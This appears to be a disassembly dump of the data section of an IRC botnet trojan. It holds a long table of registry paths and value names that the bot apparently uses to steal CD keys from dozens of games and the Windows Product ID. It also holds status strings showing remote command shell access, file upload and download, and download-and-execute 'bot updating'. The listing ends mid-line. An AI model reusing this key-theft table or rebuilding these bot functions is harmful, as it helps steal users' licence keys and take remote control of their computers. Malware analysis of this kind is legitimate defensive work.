80000001h dd offset aSoftwareJowood ; "Software\\JoWooD\\InstalledGames\\IG2" dd offset aPrvkey ; "prvkey" dd offset aIndustryGiant2 ; "Industry Giant 2" dd 2 dup(0) dd 80000001h dd offset aSoftware3d0Sta ; "Software\\3d0\\Status" dd offset aCustomernumber ; "CustomerNumber" dd offset aLegendsOfMight ; "Legends of Might and Magic" align 10h dd 80000001h dd offset aSoftwareSilver ; "Software\\Silver Style Entertainment\\Sol"... dd offset aCdkey_1 ; "CDKey" dd offset aSoldiersOfAnar ; "Soldiers Of Anarchy" dd 2 dup(0) dd 80000002h dd offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd offset aProductid ; "ProductId" dd offset aMicrosoftWindo ; "Microsoft Windows Product ID" align 10h dd 80000002h dd offset aSoftwareUnreal ; "Software\\Unreal Technology\\Installed Ap"... dd offset aCdkey_2 ; "CDKey" dd offset aUnrealTourname ; "Unreal Tournament 2003" dd 2 dup(0) dd 80000002h dd offset aSoftwareUnre_0 ; "Software\\Unreal Technology\\Installed Ap"... dd offset aCdkey_3 ; "CDKey" dd offset aUnrealTourna_0 ; "Unreal Tournament 2004" align 10h dd 80000002h dd offset aSoftwareIgi2Re ; "Software\\IGI 2 Retail" dd offset aCdkey_4 ; "CDKey" dd offset aIgi2CovertStri ; "IGI 2: Covert Strike" dd 2 dup(0) dd 80000002h dd offset aSoftwareElectr ; "Software\\Electronic Arts\\EA Distributio"... dd offset dword_4EBEA0 dd offset aFreedomForce ; "Freedom Force" align 10h dd 80000002h dd offset aSoftwareElec_0 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EBEA4 dd offset aBattlefield194 ; "Battlefield 1942" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_1 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EBEA8 dd offset aBattlefield1_0 ; "Battlefield 1942 (Road To Rome)" align 10h dd 80000002h dd offset aSoftwareElec_2 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EBEAC dd offset aBattlefield1_1 ; "Battlefield 1942 (Secret Weapons of WWI"... dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_3 ; "Software\\Electronic Arts\\EA GAMES\\Battl"... dd offset dword_4EBEB0 dd offset aBattlefieldVie ; "Battlefield Vietnam" align 10h dd 80000002h dd offset aSoftwareElec_4 ; "Software\\Electronic Arts\\EA GAMES\\Black"... dd offset dword_4EBEB4 dd offset aBlackAndWhite ; "Black and White" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_5 ; "Software\\Electronic Arts\\EA GAMES\\Comma"... dd offset dword_4EBEB8 dd offset aCommandAndConq ; "Command and Conquer: Generals (Zero Hou"... align 10h dd 80000002h dd offset aSoftwareElec_6 ; "Software\\Electronic Arts\\EA GAMES\\James"... dd offset dword_4EBEBC dd offset aJamesBond007Ni ; "James Bond 007: Nightfire" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_7 ; "Software\\Electronic Arts\\EA GAMES\\Gener"... dd offset dword_4EBEC0 dd offset aCommandAndCo_0 ; "Command and Conquer: Generals" align 10h dd 80000002h dd offset aSoftwareElec_8 ; "Software\\Electronic Arts\\EA GAMES\\Globa"... dd offset dword_4EBEC4 dd offset aGlobalOperatio ; "Global Operations" dd 2 dup(0) dd 80000002h dd offset aSoftwareElec_9 ; "Software\\Electronic Arts\\EA GAMES\\Medal"... dd offset dword_4EBEC8 dd offset aMedalOfHonorAl ; "Medal of Honor: Allied Assault" align 10h dd 80000002h dd offset aSoftwareEle_10 ; "Software\\Electronic Arts\\EA GAMES\\Medal"... dd offset dword_4EBECC dd offset aMedalOfHonor_0 ; "Medal of Honor: Allied Assault: Breakth"... dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_11 ; "Software\\Electronic Arts\\EA GAMES\\Medal"... dd offset dword_4EBED0 dd offset aMedalOfHonor_1 ; "Medal of Honor: Allied Assault: Spearhe"... align 10h dd 80000002h dd offset aSoftwareEle_12 ; "Software\\Electronic Arts\\EA GAMES\\Need "... dd offset aErgc ; "ergc" dd offset aNeedForSpeedHo ; "Need For Speed Hot Pursuit 2" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_13 ; "Software\\Electronic Arts\\EA GAMES\\Need "... dd offset dword_4EBED4 dd offset aNeedForSpeedUn ; "Need For Speed: Underground" align 10h dd 80000002h dd offset aSoftwareEle_14 ; "Software\\Electronic Arts\\EA GAMES\\Shogu"... dd offset dword_4EBED8 dd offset aShogunTotalWar ; "Shogun: Total War: Warlord Edition" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_15 ; "Software\\Electronic Arts\\EA Sports\\FIFA"... dd offset dword_4EBEDC dd offset aFifa2002 ; "FIFA 2002" align 10h dd 80000002h dd offset aSoftwareEle_16 ; "Software\\Electronic Arts\\EA Sports\\FIFA"... dd offset dword_4EBEE0 dd offset aFifa2003 ; "FIFA 2003" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_17 ; "Software\\Electronic Arts\\EA Sports\\NHL "... dd offset dword_4EBEE4 dd offset aNhl2002 ; "NHL 2002" align 10h dd 80000002h dd offset aSoftwareEle_18 ; "Software\\Electronic Arts\\EA Sports\\NHL "... dd offset dword_4EBEE8 dd offset aNhl2003 ; "NHL 2003" dd 2 dup(0) dd 80000002h dd offset aSoftwareEle_19 ; "Software\\Electronic Arts\\EA Sports\\Nasc"... dd offset dword_4EBEEC dd offset aNascarRacing20 ; "Nascar Racing 2002" align 10h dd 80000002h dd offset aSoftwareEle_20 ; "Software\\Electronic Arts\\EA Sports\\Nasc"... dd offset dword_4EBEF0 dd offset aNascarRacing_0 ; "Nascar Racing 2003" dd 2 dup(0) dd 80000002h dd offset aSoftwareRedSto ; "Software\\Red Storm Entertainment\\RAVENS"... dd offset aCdkey_5 ; "CDKey" dd offset aRainbowSixIiiR ; "Rainbow Six III RavenShield" align 10h dd 80000002h dd offset aSoftwareWestwo ; "Software\\Westwood\\Tiberian Sun" dd offset aSerial ; "Serial" dd offset aCommandAndCo_1 ; "Command and Conquer: Tiberian Sun" dd 2 dup(0) dd 80000002h dd offset aSoftwareWest_0 ; "Software\\Westwood\\Red Alert" dd offset aSerial_0 ; "Serial" dd offset aCommandAndCo_2 ; "Command and Conquer: Red Alert" align 10h dd 80000002h dd offset aSoftwareWest_1 ; "Software\\Westwood\\Red Alert 2" dd offset aSerial_1 ; "Serial" dd offset aCommandAndCo_3 ; "Command and Conquer: Red Alert 2" dd 2 dup(0) dd 80000002h dd offset aSoftwareWest_2 ; "Software\\Westwood\\NOX" dd offset aSerial_2 ; "Serial" dd offset aNox ; "NOX" align 10h dd 80000002h dd offset aSoftwareTechla ; "Software\\Techland\\Chrome" dd offset aSerialnumber ; "SerialNumber" dd offset aChrome ; "Chrome" dd 2 dup(0) dd 80000002h dd offset aSoftwareIllusi ; "Software\\Illusion Softworks\\Hidden & Da"... dd offset aKey_2 ; "key" dd offset aHiddenDangerou ; "Hidden & Dangerous 2" align 10h dd 80000002h dd offset aSoftwareActivi ; "Software\\Activision\\Soldier of Fortune "... dd offset aInstallpath ; "InstallPath" dd offset aSoldierOfFortu ; "Soldier of Fortune II - Double Helix" dd offset aBaseMpSof2key ; "base\\mp\\sof2key" dd offset aMtkwftmkemfew3 ; "mtkwftmkemfew3p3b7" dd 80000002h dd offset aSoftwareBiowar ; "Software\\BioWare\\NWN\\Neverwinter" dd offset aLocation ; "Location" dd offset aNeverwinterNig ; "Neverwinter Nights" dd offset aNwncdkey_ini ; "nwncdkey.ini" dd offset aKey1 ; "Key1=" dd 80000002h dd offset aSoftwareBiow_0 ; "Software\\BioWare\\NWN\\Neverwinter" dd offset aLocation_0 ; "Location" dd offset aNeverwinterN_0 ; "Neverwinter Nights (Shadows of Undrenti"... dd offset aNwncdkey_ini_0 ; "nwncdkey.ini" dd offset aKey2 ; "Key2=" dd 80000002h dd offset aSoftwareBiow_1 ; "Software\\BioWare\\NWN\\Neverwinter" dd offset aLocation_1 ; "Location" dd offset aNeverwinterN_1 ; "Neverwinter Nights (Hordes of the Under"... dd offset aNwncdkey_ini_1 ; "nwncdkey.ini" dd offset aKey3 ; "Key3=" dd 6 dup(0) aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_44E354o align 10h aCdkey_0 db 'CDKey',0 ; DATA XREF: .data:0044E358o align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0044E35Co aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 ; DATA XREF: .data:0044E36Co align 4 aRegnumber db 'RegNumber',0 ; DATA XREF: .data:0044E370o align 4 aTheGladiators db 'The Gladiators',0 ; DATA XREF: .data:0044E374o align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 ; DATA XREF: .data:0044E384o align 4 aKey_0 db 'Key',0 ; DATA XREF: .data:0044E388o aGunmanChronicl db 'Gunman Chronicles',0 ; DATA XREF: .data:0044E38Co align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 ; DATA XREF: .data:0044E39Co align 10h aKey_1 db 'Key',0 ; DATA XREF: .data:0044E3A0o aHalfLife db 'Half-Life',0 ; DATA XREF: .data:0044E3A4o align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 ; DATA XREF: .data:0044E3B4o align 4 aPrvkey db 'prvkey',0 ; DATA XREF: .data:0044E3B8o align 4 aIndustryGiant2 db 'Industry Giant 2',0 ; DATA XREF: .data:0044E3BCo align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 ; DATA XREF: .data:0044E3CCo aCustomernumber db 'CustomerNumber',0 ; DATA XREF: .data:0044E3D0o align 4 aLegendsOfMight db 'Legends of Might and Magic',0 ; DATA XREF: .data:0044E3D4o align 10h aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 ; DATA XREF: .data:0044E3E4o align 4 aCdkey_1 db 'CDKey',0 ; DATA XREF: .data:0044E3E8o align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 ; DATA XREF: .data:0044E3ECo aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: .data:0044E3FCo align 4 aProductid db 'ProductId',0 ; DATA XREF: .data:0044E400o align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 ; DATA XREF: .data:0044E404o align 4 aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0 ; DATA XREF: .data:0044E414o align 4 aCdkey_2 db 'CDKey',0 ; DATA XREF: .data:0044E418o align 4 aUnrealTourname db 'Unreal Tournament 2003',0 ; DATA XREF: .data:0044E41Co align 4 aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0 ; DATA XREF: .data:0044E42Co align 10h aCdkey_3 db 'CDKey',0 ; DATA XREF: .data:0044E430o align 4 aUnrealTourna_0 db 'Unreal Tournament 2004',0 ; DATA XREF: .data:0044E434o align 10h aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 ; DATA XREF: .data:0044E444o align 4 aCdkey_4 db 'CDKey',0 ; DATA XREF: .data:0044E448o align 10h aIgi2CovertStri db 'IGI 2: Covert Strike',0 ; DATA XREF: .data:0044E44Co align 4 aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0 ; DATA XREF: .data:0044E45Co aFreedomForce db 'Freedom Force',0 ; DATA XREF: .data:0044E464o align 4 aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 ; DATA XREF: .data:0044E474o aBattlefield194 db 'Battlefield 1942',0 ; DATA XREF: .data:0044E47Co align 10h aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' ; DATA XREF: .data:0044E48Co db 'me\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 ; DATA XREF: .data:0044E494o aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' ; DATA XREF: .data:0044E4A4o db ' of WWII\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0 ; DATA XREF: .data:0044E4ACo align 4 aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 ; DATA XREF: .data:0044E4BCo align 4 aBattlefieldVie db 'Battlefield Vietnam',0 ; DATA XREF: .data:0044E4C4o aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0 ; DATA XREF: .data:0044E4D4o align 10h aBlackAndWhite db 'Black and White',0 ; DATA XREF: .data:0044E4DCo aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' ; DATA XREF: .data:0044E4ECo db 'ro Hour\ergc',0 align 10h aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0 ; DATA XREF: .data:0044E4F4o align 4 aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 ; DATA XREF: .data:0044E504o aJamesBond007Ni db 'James Bond 007: Nightfire',0 ; DATA XREF: .data:0044E50Co align 4 aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0 ; DATA XREF: .data:0044E51Co aCommandAndCo_0 db 'Command and Conquer: Generals',0 ; DATA XREF: .data:0044E524o align 4 aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0 ; DATA XREF: .data:0044E534o align 4 aGlobalOperatio db 'Global Operations',0 ; DATA XREF: .data:0044E53Co align 4 aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' ; DATA XREF: .data:0044E54Co db 'rgc',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 ; DATA XREF: .data:0044E554o align 10h aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' ; DATA XREF: .data:0044E564o db 'reakthrough\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 ; DATA XREF: .data:0044E56Co align 4 aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' ; DATA XREF: .data:0044E57Co db 'pearhead\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0 ; DATA XREF: .data:0044E584o align 10h aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 ; DATA XREF: .data:0044E594o align 10h aErgc db 'ergc',0 ; DATA XREF: .data:0044E598o align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 ; DATA XREF: .data:0044E59Co align 4 aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' ; DATA XREF: .data:0044E5ACo db 0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 ; DATA XREF: .data:0044E5B4o aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' ; DATA XREF: .data:0044E5C4o db 'ion\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:0044E5CCo align 4 aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0 ; DATA XREF: .data:0044E5DCo align 4 aFifa2002 db 'FIFA 2002',0 ; DATA XREF: .data:0044E5E4o align 4 aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0 ; DATA XREF: .data:0044E5F4o align 4 aFifa2003 db 'FIFA 2003',0 ; DATA XREF: .data:0044E5FCo align 4 aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0 ; DATA XREF: .data:0044E60Co align 4 aNhl2002 db 'NHL 2002',0 ; DATA XREF: .data:0044E614o align 4 aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0 ; DATA XREF: .data:0044E624o align 4 aNhl2003 db 'NHL 2003',0 ; DATA XREF: .data:0044E62Co align 4 aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 ; DATA XREF: .data:0044E63Co align 4 aNascarRacing20 db 'Nascar Racing 2002',0 ; DATA XREF: .data:0044E644o align 4 aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 ; DATA XREF: .data:0044E654o align 4 aNascarRacing_0 db 'Nascar Racing 2003',0 ; DATA XREF: .data:0044E65Co align 4 aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0 ; DATA XREF: .data:0044E66Co align 4 aCdkey_5 db 'CDKey',0 ; DATA XREF: .data:0044E670o align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 ; DATA XREF: .data:0044E674o aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0 ; DATA XREF: .data:0044E684o align 4 aSerial db 'Serial',0 ; DATA XREF: .data:0044E688o align 4 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .data:0044E68Co align 4 aSoftwareWest_0 db 'Software\Westwood\Red Alert',0 ; DATA XREF: .data:0044E69Co aSerial_0 db 'Serial',0 ; DATA XREF: .data:0044E6A0o align 4 aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 ; DATA XREF: .data:0044E6A4o align 4 aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0 ; DATA XREF: .data:0044E6B4o align 4 aSerial_1 db 'Serial',0 ; DATA XREF: .data:0044E6B8o align 4 aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 ; DATA XREF: .data:0044E6BCo align 4 aSoftwareWest_2 db 'Software\Westwood\NOX',0 ; DATA XREF: .data:0044E6CCo align 10h aSerial_2 db 'Serial',0 ; DATA XREF: .data:0044E6D0o align 4 aNox db 'NOX',0 ; DATA XREF: .data:0044E6D4o aSoftwareTechla db 'Software\Techland\Chrome',0 ; DATA XREF: .data:0044E6E4o align 4 aSerialnumber db 'SerialNumber',0 ; DATA XREF: .data:0044E6E8o align 4 aChrome db 'Chrome',0 ; DATA XREF: .data:0044E6ECo align 10h aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0 ; DATA XREF: .data:0044E6FCo align 4 aKey_2 db 'key',0 ; DATA XREF: .data:0044E700o aHiddenDangerou db 'Hidden & Dangerous 2',0 ; DATA XREF: .data:0044E704o align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 ; DATA XREF: .data:0044E714o align 4 aInstallpath db 'InstallPath',0 ; DATA XREF: .data:0044E718o aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 ; DATA XREF: .data:0044E71Co align 10h aBaseMpSof2key db 'base\mp\sof2key',0 ; DATA XREF: .data:0044E720o aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 ; DATA XREF: .data:0044E724o align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044E72Co align 4 aLocation db 'Location',0 ; DATA XREF: .data:0044E730o align 4 aNeverwinterNig db 'Neverwinter Nights',0 ; DATA XREF: .data:0044E734o align 4 aNwncdkey_ini db 'nwncdkey.ini',0 ; DATA XREF: .data:0044E738o align 4 aKey1 db 'Key1=',0 ; DATA XREF: .data:0044E73Co align 10h aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044E744o align 4 aLocation_0 db 'Location',0 ; DATA XREF: .data:0044E748o align 10h aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 ; DATA XREF: .data:0044E74Co align 4 aNwncdkey_ini_0 db 'nwncdkey.ini',0 ; DATA XREF: .data:0044E750o align 4 aKey2 db 'Key2=',0 ; DATA XREF: .data:0044E754o align 4 aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044E75Co align 4 aLocation_1 db 'Location',0 ; DATA XREF: .data:0044E760o align 4 aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0 ; DATA XREF: .data:0044E764o align 4 aNwncdkey_ini_1 db 'nwncdkey.ini',0 ; DATA XREF: .data:0044E768o align 4 aKey3 db 'Key3=',0 ; DATA XREF: .data:0044E76Co align 4 ; char aSS_7[] aSS_7 db '%s\%s',0 ; DATA XREF: sub_4165C9+79o align 4 ; char aR_1[] aR_1: ; DATA XREF: sub_4165C9+8Ao unicode 0, <r>,0 ; char asc_44F628[] asc_44F628: ; DATA XREF: sub_4165C9+DEo unicode 0, <=>,0 ; char asc_44F62C[] asc_44F62C: ; DATA XREF: sub_4165C9+E9o unicode 0, <=>,0 dword_44F630 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_4165C9+FBo dd 0 ; char asc_44F648[] asc_44F648 db '-' ; DATA XREF: sub_4165C9+109o db 3, 34h, 2 dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0 ; char asc_44F660[] asc_44F660 db '-' ; DATA XREF: sub_4165C9+15Bo db 3, 34h, 2 dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0 ; char asc_44F678[] asc_44F678 db '-' ; DATA XREF: sub_4167F7+47o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 ; char asc_44F69C[] asc_44F69C db '-' ; DATA XREF: sub_4167F7+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 ; char asc_44F6CC[] asc_44F6CC db 0Ah,0 ; DATA XREF: sub_4167F7+138o align 10h ; char asc_44F6D0[] asc_44F6D0 db '-' ; DATA XREF: sub_4167F7+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_44F704 db 2Dh ; - ; DATA XREF: sub_4169B8+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_3 db '- failed to create socket',0 align 4 unk_44F728 db 2Dh ; - ; DATA XREF: sub_4169B8+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_44F74C db 2Dh ; - ; DATA XREF: sub_4169B8+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpen_0 db '- failed to open socket',0 align 10h unk_44F770 db 2Dh ; - ; DATA XREF: sub_4169B8+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h ; char dword_44F790 dword_44F790 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_4169B8+16Ao dd 169h dword_44F7A8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_4169B8+1CBo dd 74756Fh ; char asc_44F7C0[] asc_44F7C0 db '-' ; DATA XREF: sub_4169B8+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_44F7E4 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_4169B8+36Bo dd 726F72h dword_44F7FC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_4169B8+37Co dd 726F72h ; char asc_44F814[] asc_44F814 db '-' ; DATA XREF: sub_4169B8+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 10h ; char aSS_8[] aSS_8 db '%s%s',0 ; DATA XREF: sub_416D5D+54o align 4 unk_44F848 db 2Dh ; - ; DATA XREF: sub_416D5D+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 ; char aAB[] aAB db 'a+b',0 ; DATA XREF: sub_416D5D+97o unk_44F87C db 2Dh ; - ; DATA XREF: sub_416D5D+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 ; char asc_44F8A8[] asc_44F8A8 db '-' ; DATA XREF: sub_416D5D+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 ; char asc_44F8C8[] asc_44F8C8 db '-' ; DATA XREF: sub_416D5D+156o db 3, 34h, 2 dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h ; char asc_44F8E0[] asc_44F8E0 db '-' ; DATA XREF: sub_416D5D+1D1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 ; char asc_44F90C[] asc_44F90C db '-' ; DATA XREF: sub_416F9A+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 unk_44F934 db 2Dh ; - ; DATA XREF: sub_416F9A+183o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 ; char asc_44F95C[] asc_44F95C db '-' ; DATA XREF: sub_416F9A+195o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 ; char asc_44F984[] asc_44F984 db '-' ; DATA XREF: sub_416F9A+1D8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h ; char asc_44F9B0[] asc_44F9B0 db '-' ; DATA XREF: sub_416F9A+262o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 ; char asc_44F9D8[] asc_44F9D8 db '-' ; DATA XREF: sub_416F9A+2E1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 10h aOpen_2 db 'open',0 ; DATA XREF: sub_416F9A+336o align 4 ; char asc_44FA18[] asc_44FA18 db '-' ; DATA XREF: sub_416F9A+358o db 3, 34h, 2 dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h dd 73h ; char asc_44FA34[] asc_44FA34 db '-' ; DATA XREF: sub_416F9A+3C9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 unk_44FA78 db 2Dh ; - ; DATA XREF: sub_416F9A+485o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 ; char asc_44FAAC[] asc_44FAAC db '-' ; DATA XREF: sub_416F9A+493o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 aUnknown db 'Unknown',0 ; DATA XREF: sub_417542:loc_417585o aInvalid db 'Invalid',0 ; DATA XREF: sub_417542:loc_41757Fo aDisk db 'Disk',0 ; DATA XREF: sub_417542:loc_417579o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_417542:loc_417573o aCdrom db 'Cdrom',0 ; DATA XREF: sub_417542:loc_41756Do align 10h off_44FB00 dd offset word_4D4152 ; DATA XREF: sub_417542:loc_417567o dword_44FB04 dd 3Fh ; DATA XREF: sub_417542+1Fo ; char aFailed[] aFailed db 'failed',0 ; DATA XREF: sub_4175D3+E9o align 10h ; char aFailed_0[] aFailed_0 db 'failed',0 ; DATA XREF: sub_4175D3+FCo align 4 ; char aFailed_1[] aFailed_1 db 'failed',0 ; DATA XREF: sub_4175D3+10Fo align 10h ; char aSkb[] aSkb db '%sKB',0 ; DATA XREF: sub_4175D3+72o align 4 ; char aSkb_0[] aSkb_0 db '%sKB',0 ; DATA XREF: sub_4175D3+9Fo align 10h ; char aSkb_1[] aSkb_1 db '%sKB',0 ; DATA XREF: sub_4175D3+CCo align 4 ; char aFailed_2[] aFailed_2 db 'failed',0 ; DATA XREF: sub_417703+3Bo align 10h ; char asc_44FB40[] asc_44FB40 db '-' ; DATA XREF: sub_417703+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 ; char asc_44FB7C[] asc_44FB7C db '-' ; DATA XREF: sub_417703+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 ; char aA_1[] aA_1 db 'A:\',0 ; DATA XREF: 